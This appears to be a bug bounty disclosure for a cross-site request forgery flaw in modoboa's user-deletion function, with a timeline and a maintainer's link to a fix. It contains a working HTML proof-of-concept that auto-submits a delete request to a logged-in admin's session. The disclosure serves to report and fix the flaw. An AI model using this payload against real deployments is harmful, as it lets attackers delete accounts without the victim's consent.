CSRF leading to delete a user in modoboa/modoboa
Valid
Reported on
Jan 18th 2023
Description
The deleting a user functionality is vulnerable to a CSRF attack.
The cause is same with the deleting a domain functionality.
Proof of Concept
- Login as admin.
- Create a user to be deleted. E.g. the user ID is 2.
- Open the following file in the browser.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/admin/accounts/2/delete/">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
An attacker can force a victim to delete users.
We are processing your report and will contact the
modoboa
team within 24 hours.
4 months ago
We have contacted a member of the
modoboa
team and are waiting to hear back
4 months ago
The researcher's credibility has increased: +7
A modoboa/modoboa maintainer
commented
4 months ago
A PR containing a fix is available here: https://github.com/modoboa/modoboa/pull/2753
The fix bounty has been dropped
This vulnerability has been assigned a CVE
to join this conversation